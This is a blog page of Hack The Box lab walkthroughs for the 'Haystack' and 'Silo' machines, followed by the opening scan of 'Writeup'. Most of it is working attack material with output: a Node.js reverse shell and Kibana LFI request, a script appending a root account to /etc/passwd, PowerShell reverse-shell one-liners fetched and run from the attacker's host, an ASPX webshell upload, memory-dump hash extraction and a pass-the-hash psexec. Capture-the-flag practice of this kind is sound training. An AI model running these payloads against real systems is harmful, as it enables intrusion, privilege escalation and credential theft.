08 Nov 2019
Explanation
Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
To learn a new technique/knowledge, solve all machines (As much as possible!!).
This is a walkthrough of a box “Haystack”.
Solution
1. Initial Enumeration
TCP Port Scanning:
root@kali:~# nmap -p- 10.10.10.115 -sV -sC
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-04 15:42 EET
Nmap scan report for 10.10.10.115
Host is up ( 0.047s latency) .
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 ( protocol 2.0)
| ssh-hostkey:
| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b ( RSA)
| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 ( ECDSA)
|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 ( ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open http nginx 1.12.2
| http-methods:
|_ Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn' t have a title ( application/json; charset = UTF-8) .
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done : 1 IP address ( 1 host up) scanned in 161.51 seconds
HTTP enumeration:
Sounds like only one page with heystack image available.
root@kali:~# gobuster dir -u http://10.10.10.115/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html,.php,.txt -s '200,204,301,302,403'
===============================================================
Gobuster v3.0.1
by OJ Reeves ( @TheColonial) & Christian Mehlmauer ( @_FireFart_)
===============================================================
[ +] Url: http://10.10.10.115/
[ +] Threads: 10
[ +] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[ +] Status codes: 200,204,301,302,403
[ +] User Agent: gobuster/3.0.1
[ +] Extensions: html,php,txt
[ +] Timeout: 10s
===============================================================
2019/11/05 19:40:48 Starting gobuster
===============================================================
/index.html ( Status: 200)
===============================================================
2019/11/05 21:01:59 Finished
===============================================================
Port 9200 enumeration:
We can figure out that Elasticsearch is running.
root@kali:~# curl http://10.10.10.115:9200/
{
"name" : "iQEYHgS" ,
"cluster_name" : "elasticsearch" ,
"cluster_uuid" : "pjrX7V_gSFmJY-DxP4tCQg" ,
"version" : {
"number" : "6.4.2" ,
"build_flavor" : "default" ,
"build_type" : "rpm" ,
"build_hash" : "04711c2" ,
"build_date" : "2018-09-26T13:34:09.098244Z" ,
"build_snapshot" : false ,
"lucene_version" : "7.4.0" ,
"minimum_wire_compatibility_version" : "5.6.0" ,
"minimum_index_compatibility_version" : "5.0.0"
} ,
"tagline" : "You Know, for Search"
}
2. Getting User
At first, take a look at port 80.
We have only one file “needle.jpg” there.
root@kali:~# curl http://10.10.10.115
<html>
<body>
<img src= "needle.jpg" />
</body>
</html>
To check if something interesting there, we can use “strings” command.
root@kali:~# strings needle.jpg
JFIF
Exif
paint.net 4.1.1
UNICODE
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
#3R
&' () * 56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
sc,x
~~~
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg ==
We found base64 encoded data.
Then, decode the message. We get a message with unknown language.
root@kali:~# echo 'bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==' | base64 -d
la aguja en el pajar es "clave"
Google is always our friend. Translate the message.
la aguja en el pajar es "clave"
->
the needle in the haystack is "key"
Then, go back to elasticsearch.
Elasticsearch is a search engine based on the Lucene library. It provides a distributed, multitenant-capable full-text search engine with an HTTP web interface and schema-free JSON documents.
To send a query to elasticsearch, we need a parameter “q”.
root@kali:~# curl http://10.10.10.115:9200/_search?q= clave
{ "took" :136,"timed_out" :false,"_shards" :{ "total" :11,"successful" :11,"skipped" :0,"failed" :0} ,"hits" :{ "total" :2,"max_score" :5.9335938,"hits" :[{ "_index" :"quotes" ,"_type" :"quote" ,"_id" :"45" ,"_score" :5.9335938,"_source" :{ "quote" :"Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg " }} ,{ "_index" :"quotes" ,"_type" :"quote" ,"_id" :"111" ,"_score" :5.3459888,"_source" :{ "quote" :"Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=" }}]}}
Then decode the base64 encoded data.
root@kali:~# echo 'dXNlcjogc2VjdXJpdHkg' | base64 -d
user: security
root@kali:~# echo 'cGFzczogc3BhbmlzaC5pcy5rZXk=' | base64 -d
pass: spanish.is.key
We got a credential for user “security” to login with ssh.
security:spanish.is.key
root@kali:~# ssh security@10.10.10.115
security@10.10.10.115's password:
Last login: Tue Nov 5 14:44:15 2019 from 10.10.14.13
[security@haystack ~]$ id
uid=1000(security) gid=1000(security) groups=1000(security) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
As always, user.txt is in the home directory.
[ security@haystack ~]$ ls -la
total 16
drwx------. 2 security security 99 Feb 6 2019 .
drwxr-xr-x. 3 root root 22 Nov 28 2018 ..
lrwxrwxrwx. 1 root root 9 Jan 25 2019 .bash_history -> /dev/null
-rw-r--r-- . 1 security security 18 Apr 10 2018 .bash_logout
-rw-r--r-- . 1 security security 193 Apr 10 2018 .bash_profile
-rw-r--r-- . 1 security security 231 Apr 10 2018 .bashrc
-rw-r--r-- . 1 security security 33 Feb 6 2019 user.txt
[ security@haystack ~]$ cat user.txt
04d18bc79dac1d4d48ee0a940c8eb929
3. Getting Root
After logged in, try to run “pspy ” to display all running process.
We can find that “logstash” is running as a root user.
2019/11/08 05:07:10 CMD: UID = 0 PID = 6392 | /bin/java -Xms500m -Xmx500m -XX :+UseParNewGC -XX :+UseConcMarkSweepGC -XX :CMSInitiatingOccupancyFraction= 75 -XX :+UseCMSInitiatingOccupancyOnly -Djava .awt.headless= true -Dfile .encoding= UTF-8 -Djruby .compile.invokedynamic= true -Djruby .jit.threshold= 0 -XX :+HeapDumpOnOutOfMemoryError -Djava .security.egd= file:/dev/urandom -cp /usr/share/logstash/logstash-core/lib/jars/animal-sniffer-annotations-1.14.jar:/usr/share/logstash/logstash-core/lib/jars/commons-codec-1.11.jar:/usr/share/logstash/logstash-core/lib/jars/commons-compiler-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/error_prone_annotations-2.0.18.jar:/usr/share/logstash/logstash-core/lib/jars/google-java-format-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/gradle-license-report-0.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/guava-22.0.jar:/usr/share/logstash/logstash-core/lib/jars/j2objc-annotations-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-annotations-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-core-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-databind-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-dataformat-cbor-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/janino-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/jruby-complete-9.1.13.0.jar:/usr/share/logstash/logstash-core/lib/jars/jsr305-1.3.9.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-api-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-core-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-slf4j-impl-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/logstash-core.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.commands-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.contenttype-3.4.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.expressions-3.4.300.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.filesystem-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.jobs-3.5.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.resources-3.7.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.runtime-3.7.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.app-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.common-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.preferences-3.4.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.registry-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.jdt.core-3.10.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.osgi-3.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.text-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/slf4j-api-1.7.25.jar org.logstash.Logstash --path .settings /etc/logstash
However, we can’t access to the config file because we don’t have appropriate permission.
These files belong to a user “kibana”.
[ security@haystack conf.d]$ pwd
/etc/logstash/conf.d
[ security@haystack conf.d]$ ls -l
total 12
-rw-r----- . 1 root kibana 131 Jun 20 10:59 filter.conf
-rw-r----- . 1 root kibana 186 Jun 24 08:12 input.conf
-rw-r----- . 1 root kibana 109 Jun 24 08:12 output.conf
[ security@haystack conf.d]$ cat input.conf
cat : input.conf: Permission denied
[ security@haystack conf.d]$
Then, try to check which port kibana is running. Since we can’t use netstat, use “ss” command.
We have one interesting port 5601.
“-4”: to use IPv4
“-l”: listing all listening ports
“-n”: display port numbers
[ security@haystack ~]$ ss -4 -l -n
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 127.0.0.1:323 * :*
tcp LISTEN 0 128 * :80 * :*
tcp LISTEN 0 128 * :9200 * :*
tcp LISTEN 0 128 * :22 * :*
tcp LISTEN 0 128 127.0.0.1:5601 * :*
*
To access the “127.0.0.1:5601” from our localhost, we need port forwarding.
We can find “Kibana” which is data visualization UI used with Elasticsearch.
ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N
By clicking the “Management” tab, we can figure out that the version of Kibana is “6.4.2”
By quick search, we can find that this version of kibana has a LFI “CVE-2018-17246”
As it’s written, upload followin javascript shell to “/dev/shm”
shell.js:
( function (){
var net = require ( " net " ),
cp = require ( " child_process " ),
sh = cp . spawn ( " /bin/sh " , []);
var client = new net . Socket ();
client . connect ( 443 , " 10.10.14.13 " , function (){
client . pipe ( sh . stdin );
sh . stdout . pipe ( client );
sh . stderr . pipe ( client );
});
return /a/ ; // Prevents the Node.js application form crashing
})();
Then, launch a netcat listener and send a get request to access to the “shell.js”.
We can achieve a reverse shell as a user “kibana”.
[ security@haystack shm]$ curl 'http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/shell.js'
root@kali:~# nc -nlvp 443
listening on [ any] 443 ...
connect to [ 10.10.14.13] from ( UNKNOWN) [ 10.10.10.115] 53668
id
uid = 994( kibana) gid = 992( kibana) grupos = 992( kibana) contexto = system_u:system_r:unconfined_service_t:s0
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link /loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
link /ether 00:50:56:b9:b4:73 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.115/24 brd 10.10.10.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:b473/64 scope global mngtmpaddr dynamic
valid_lft 86211sec preferred_lft 14211sec
inet6 fe80::250:56ff:feb9:b473/64 scope link
valid_lft forever preferred_lft forever
After that, get a full shell with python command.
python -c 'import pty;pty.spawn("/bin/bash")'
bash-4.2$
Then, try to look at the files for logstash.
We can refer a document on the official website.
filter.conf:
bash-4.2$ cat filter.conf
cat filter.conf
filter {
if [ type ] == "execute" {
grok {
match => { "message" => "Ejecutar \s *comando \s *: \s +%{GREEDYDATA:comando}" }
}
}
}
input.conf:
bash-4.2$ cat input.conf
cat input.conf
input {
file {
path => "/opt/kibana/logstash_*"
start_position => "beginning"
sincedb_path => "/dev/null"
stat_interval => "10 second"
type => "execute"
mode => "read"
}
}
output.conf
bash-4.2$ cat output.conf
cat output.conf
output {
if [ type ] == "execute" {
stdout { codec => json }
exec {
command => "%{comando} &"
}
}
}
In summerize, logstash is executing a command with following condition.
The name of the config file has to be matched “logstash_*”
the key of the command is has to be “Ejecutar comando”
Create following shell script to add a new admin user in “/etc/passwd”.
We have to put it into “/dev/shm” with scp command.
root@kali:~# cat firefart.sh
#!/bin/bash
echo 'firefart:fi6bS9A.C7BDQ:0:0:pwned:/root:/bin/bash' >> /etc/passwd
root@kali:~# scp firefart.sh security@10.10.10.115:/dev/shm
security@10.10.10.115's password:
firefart.sh 100% 88 2.1KB/s 00:00
Then, create a following config file to achieve a reverse shell as user “kibana” with the following command.
echo 'Ejecutar comando : bash /dev/shm/firefart.sh' > /opt/kibana/logstash_firefart
After a few minutes, finally, we can confirm a new user “firefart” with password “test” was added in “/etc/passwd”.
To switch the user, we can use “su” command.
[ security@haystack ~]$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync :x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
security:x:1000:1000:security:/home/security:/bin/bash
elasticsearch:x:997:995:elasticsearch user:/nonexistent:/sbin/nologin
logstash:x:996:994:logstash:/usr/share/logstash:/sbin/nologin
nginx:x:995:993:Nginx web server:/var/lib/nginx:/sbin/nologin
kibana:x:994:992:kibana service user:/home/kibana:/sbin/nologin
firefart:fi6bS9A.C7BDQ:0:0:pwned:/root:/bin/bash
[ security@haystack ~]$
[ security@haystack ~]$ su firefart
Password:
[ root@haystack security]# id
uid = 0( root) gid = 0( root) groups = 0( root) context = unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
As always, root.txt is in the directory “/root”
[ root@haystack security]# cat /root/root.txt
3f5f727c38d9f70e1d2ad2ba11059d92
06 Nov 2019
Explanation
Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
To learn a new technique/knowledge, solve all machines (As much as possible!!).
This is a walkthrough of a box “Silo”.
Solution
1. Initial Enumeration
TCP Port Scanning:
root@kali:~# nmap -p- 10.10.10.82 -sV -sC
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-06 15:58 EET
Nmap scan report for 10.10.10.82
Host is up ( 0.047s latency) .
Not shown: 65520 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 ( unauthorized)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 ( SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 ( SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49160/tcp open oracle-tns Oracle TNS listener ( requires service name)
49161/tcp open msrpc Microsoft Windows RPC
49162/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2m19s, deviation: 0s, median: 2m18s
|_smb-os-discovery: ERROR: Script execution failed ( use -d to debug)
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: supported
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date : 2019-11-06T14:51:29
|_ start_date: 2019-11-06T14:00:27
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done : 1 IP address ( 1 host up) scanned in 3066.66 seconds
Gobuster HTTP:
root@kali:~# gobuster dir -u http://10.10.10.82/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html,.aspx -s '200,204,301,302,403'
===============================================================
Gobuster v3.0.1
by OJ Reeves ( @TheColonial) & Christian Mehlmauer ( @_FireFart_)
===============================================================
[ +] Url: http://10.10.10.82/
[ +] Threads: 10
[ +] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[ +] Status codes: 200,204,301,302,403
[ +] User Agent: gobuster/3.0.1
[ +] Extensions: html,aspx
[ +] Timeout: 10s
===============================================================
2019/11/06 16:54:45 Starting gobuster
===============================================================
===============================================================
2019/11/06 18:05:09 Finished
===============================================================
2. Getting User
Sounds we have nothing interesting on port 80 HTTP.
Then, try to take a look at Oracle TNS listener.
At first, try to get SIDs.
The Oracle System ID (SID) is used to uniquely identify a particular database on a system. For this reason, one cannot have more than one database with the same SID on a computer system.
msf5 auxiliary( admin/oracle/sid_brute) > use auxiliary/admin/oracle/sid_brute
msf5 auxiliary( admin/oracle/sid_brute) > set rhost 10.10.10.82
rhost => 10.10.10.82
msf5 auxiliary( admin/oracle/sid_brute) > show options
Module options ( auxiliary/admin/oracle/sid_brute) :
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.10.10.82 yes The target host( s) , range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1521 yes The target port ( TCP)
SIDFILE /usr/share/metasploit-framework/data/wordlists/sid.txt no The file that contains a list of sids.
SLEEP 1 no Sleep() amount between each request.
msf5 auxiliary( admin/oracle/sid_brute) > run
[ * ] Running module against 10.10.10.82
[ * ] 10.10.10.82:1521 - Starting brute force on 10.10.10.82, using sids from /usr/share/metasploit-framework/data/wordlists/sid.txt...
[ +] 10.10.10.82:1521 - 10.10.10.82:1521 Found SID 'XE'
[ +] 10.10.10.82:1521 - 10.10.10.82:1521 Found SID 'PLSExtProc'
[ +] 10.10.10.82:1521 - 10.10.10.82:1521 Found SID 'CLRExtProc'
[ +] 10.10.10.82:1521 - 10.10.10.82:1521 Found SID ''
[ * ] 10.10.10.82:1521 - Done with brute force...
[ * ] Auxiliary module execution completed
Next, try some default credentials.
We can find the list in the Oracle Database Installation Guide .
This time, following credential worked.
scott:tiger
root@kali:/opt/oracle/instantclient_19_3# ./sqlplus SCOTT/tiger@10.10.10.82:1521/XE
SQL* Plus: Release 19.0.0.0.0 - Production on Wed Nov 6 18:24:53 2019
Version 19.3.0.0.0
Copyright ( c) 1982, 2019, Oracle. All rights reserved.
ERROR:
ORA-28002: the password will expire within 7 days
Connected to:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
SQL>
For the Oracle penetration testing, we can use a script “odat.py ”.
It is not installed by default, we have to install with “apt-get”
apt-get install odat
Then, upload a aspx webshell which is installed on Kali linux by default.
To upload a file, we need an option “dbmsadvisor”.
root@kali:~# odat dbmsadvisor -s 10.10.10.82 -d XE -U SCOTT -P tiger --sysdba --putFile C:\\ inetpub\\ wwwroot cmdasp.aspx /usr/share/webshells/aspx/cmdasp.aspx
[ 1] ( 10.10.10.82:1521) : Put the /usr/share/webshells/aspx/cmdasp.aspx local file in the C:\i netpub\w wwroot path ( named cmdasp.aspx) of the 10.10.10.82 server
[ +] The /usr/share/webshells/aspx/cmdasp.aspx local file was put in the remote C:\i netpub\w wwroot path ( named cmdasp.aspx)
To launch a netcat listener to receive a reverse shell.
root@kali:~# nc -nlvp 443
listening on [ any] 443 ...
After that, make a script for the reverse shell, we can use this Powershell script .
root@kali:~# cat Invoke-PowerShellTcpOneLine.ps1
$client = New-Object System.Net.Sockets.TCPClient( '10.10.14.13' ,443) ; $stream = $client .GetStream() ; [ byte[]]$bytes = 0..65535|%{ 0} ; while (( $i = $stream .Read( $bytes , 0, $bytes .Length)) -ne 0){ ; $data = ( New-Object -TypeName System.Text.ASCIIEncoding) .GetString( $bytes ,0, $i ) ; $sendback = ( iex $data 2>&1 | Out-String ) ; $sendback2 = $sendback + 'PS ' + ( pwd ) .Path + '> ' ; $sendbyte = ([ text.encoding]::ASCII) .GetBytes( $sendback2 ) ; $stream .Write( $sendbyte ,0,$sendbyte .Length) ; $stream .Flush()} ; $client .Close()
$sm =( New-Object Net.Sockets.TCPClient( '10.10.14.13' ,443)) .GetStream() ; [ byte[]]$bt = 0..65535|%{ 0} ; while (( $i = $sm .Read( $bt ,0,$bt .Length)) -ne 0){ ; $d =( New-Object Text.ASCIIEncoding) .GetString( $bt ,0,$i ) ; $st =([ text.encoding]::ASCII) .GetBytes(( iex $d 2>&1)) ; $sm .Write( $st ,0,$st .Length)}
Next, run a simple web server that hosts the powershell script.
root@kali:~# ls -l | grep Invoke
-rw-r--r-- 1 root root 973 Nov 6 18:47 Invoke-PowerShellTcpOneLine.ps1
root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
Then invoke the powershell script, we have to run following command with the webshell.
powershell IEX( New-Object Net.WebClient) .downloadString( 'http://10.10.14.13/Invoke-PowerShellTcpOneLine.ps1' )
Now we got a reverse shell.
user.txt is in the directory “Directory: C:\users\Phineas\Desktop”.
root@kali:~# nc -nlvp 443
listening on [ any] 443 ...
connect to [ 10.10.14.13] from ( UNKNOWN) [ 10.10.10.82] 49174
cwd
PS C:\w indows\s ystem32\i netsrv> whoami
iis apppool\d efaultapppool
PS C:\w indows\s ystem32\i netsrv> type C:\u sers\P hineas\D esktop\u ser.txt
92ede778a1cc8d27cb6623055c331617
3. Getting Root
There is another file in the same directory which name is “Oracle issue.txt” with password.
PS C:\u sers\P hineas\D esktop> dir
Directory: C:\u sers\P hineas\D esktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 1/5/2018 10:56 PM 300 Oracle issue.txt
-a--- 1/4/2018 9:41 PM 32 user.txt
PS C:\u sers\P hineas\D esktop> type "Oracle issue.txt"
Support vendor engaged to troubleshoot Windows / Oracle performance issue ( full memory dump requested) :
Dropbox link provided to vendor ( and password under separate cover) .
Dropbox link
https://www.dropbox.com/sh/69skryzfszb7elq/AADZnQEbbqDoIf5L2d0PBxENa?dl= 0
link password:
?%Hm8646uC$
Then, try to access to the dropbox.
However, above password doesn’t work. To obtain a correct password, we need to use the webshell which we uploaded.
After that, download the file “SILO-20180105-221806.zip”.
£%Hm8646uC$
By unzip, we can get a file which contains memory dump.
We can use “volatility ” which is installed by default to do the investigation.
At first, dump the profile of “SILO-20180105-221806.dmp”.
root@kali:~# volatility kdbgscan -f SILO-20180105-221806.dmp
Volatility Foundation Volatility Framework 2.6
WARNING : volatility.debug : Alignment of WindowsCrashDumpSpace64 is too small, plugins will be extremely slow
~~~
**************************************************
Instantiating KDBG using: Unnamed AS Win2012x64 ( 6.2.9201 64bit)
Offset ( V) : 0xf80078520a30
Offset ( P) : 0x2320a30
KdCopyDataBlock ( V) : 0xf8007845f9b0
Block encoded : Yes
Wait never : 0xd08e8400bd4a143a
Wait always : 0x17a949efd11db80
KDBG owner tag check : True
Profile suggestion ( KDBGHeader) : Win2012x64
Version64 : 0xf80078520d90 ( Major: 15, Minor: 9600)
Service Pack ( CmNtCSDVersion) : 0
Build string ( NtBuildLab) : 9600.16384.amd64fre.winblue_rtm.
PsActiveProcessHead : 0xfffff80078537700 ( 51 processes)
PsLoadedModuleList : 0xfffff800785519b0 ( 148 modules)
KernelBase : 0xfffff8007828a000 ( Matches MZ: True)
Major ( OptionalHeader) : 6
Minor ( OptionalHeader) : 3
KPCR : 0xfffff8007857b000 ( CPU 0)
KPCR : 0xffffd000207e8000 ( CPU 1)
~~~
We figured out the OS is “Windows server 2012 64bit”.
Then, take a look at the registory hive.
root@kali:~# volatility -f SILO-20180105-221806.dmp --profile = Win2012R2x64 hivelist
Volatility Foundation Volatility Framework 2.6
Virtual Physical Name
------------------ ------------------ ----
0xffffc0000100a000 0x000000000d40e000 \? ?\C :\U sers\A dministrator\A ppData\L ocal\M icrosoft\W indows\U srClass.dat
0xffffc000011fb000 0x0000000034570000 \S ystemRoot\S ystem32\c onfig\D RIVERS
0xffffc00001600000 0x000000003327b000 \? ?\C :\W indows\A ppCompat\P rograms\A mcache.hve
0xffffc0000001e000 0x0000000000b65000 [ no name]
0xffffc00000028000 0x0000000000a70000 \R EGISTRY\M ACHINE\S YSTEM
0xffffc00000052000 0x000000001a25b000 \R EGISTRY\M ACHINE\H ARDWARE
0xffffc000004de000 0x0000000024cf8000 \D evice\H arddiskVolume1\B oot\B CD
0xffffc00000103000 0x000000003205d000 \S ystemRoot\S ystem32\C onfig\S OFTWARE
0xffffc00002c43000 0x0000000028ecb000 \S ystemRoot\S ystem32\C onfig\D EFAULT
0xffffc000061a3000 0x0000000027532000 \S ystemRoot\S ystem32\C onfig\S ECURITY
0xffffc00000619000 0x0000000026cc5000 \S ystemRoot\S ystem32\C onfig\S AM
0xffffc0000060d000 0x0000000026c93000 \? ?\C :\W indows\S erviceProfiles\N etworkService\N TUSER.DAT
0xffffc000006cf000 0x000000002688f000 \S ystemRoot\S ystem32\C onfig\B BI
0xffffc000007e7000 0x00000000259a8000 \? ?\C :\W indows\S erviceProfiles\L ocalService\N TUSER.DAT
0xffffc00000fed000 0x000000000d67f000 \? ?\C :\U sers\A dministrator\n tuser.dat
We found a some files should be confidential.
To dump the hash, wehave to provide the needed addresses for SYSTEM and SAM.
root@kali:~# volatility -f SILO-20180105-221806.dmp --profile Win2012R2x64 hashdump -y 0xffffc00000028000 -s 0xffffc00000619000
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Phineas:1002:aad3b435b51404eeaad3b435b51404ee:8eacdd67b77749e65d3b3d5c110b0969:::
Since we can use Pass the Hash technique for Windows,
we can achieve a SYSTEM shell with metasploit psexec module.
msf5 > use exploit/windows/smb/psexec
msf5 exploit( windows/smb/psexec) > set smbuser Administrator
smbuser => Administrator
msf5 exploit( windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7
smbpass => aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7
msf5 exploit( windows/smb/psexec) > set rhost 10.10.10.82
rhost => 10.10.10.82
msf5 exploit( windows/smb/psexec) > run
[ * ] Started reverse TCP handler on 10.10.14.13:4444
[ * ] 10.10.10.82:445 - Connecting to the server...
[ * ] 10.10.10.82:445 - Authenticating to 10.10.10.82:445 as user 'Administrator' ...
[ * ] 10.10.10.82:445 - Selecting PowerShell target
[ * ] 10.10.10.82:445 - Executing the payload...
[ +] 10.10.10.82:445 - Service start timed out, OK if running a command or non-service executable...
[ * ] Sending stage ( 180291 bytes) to 10.10.10.82
[ * ] Meterpreter session 1 opened ( 10.10.14.13:4444 -> 10.10.10.82:49175) at 2019-11-06 19:24:15 +0200
meterpreter > getuid
Server username: NT AUTHORITY\S YSTEM
meterpreter >
As always, root.txt is in the directory “C:\Users\Administrator\Desktop”.
meterpreter > shell
Process 1884 created.
Channel 1 created.
Microsoft Windows [ Version 6.3.9600]
( c) 2013 Microsoft Corporation. All rights reserved.
C:\W indows\s ystem32>type C:\u sers\a dministrator\d esktop\r oot.txt
type C:\u sers\a dministrator\d esktop\r oot.txt
cd39ea0af657a495e33bc59c7836faf6
C:\W indows\s ystem32>
12 Oct 2019
Explanation
Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
To learn a new technique/knowledge, solve all machines (As much as possible!!).
This is a walkthrough of a box “Writeup”.
Solution
1. Initial Enumeration
TCP Port Scanning:
root@kali:~# nmap -p- 10.10.10.138 -sV -sC
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-02 15:17 EEST
Nmap scan report for 10.10.10.138
Host is up ( 0.039s latency) .
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 ( protocol 2.0)
| ssh-hostkey:
| 2048 dd :53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 ( RSA)
| 256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 ( ECDSA)
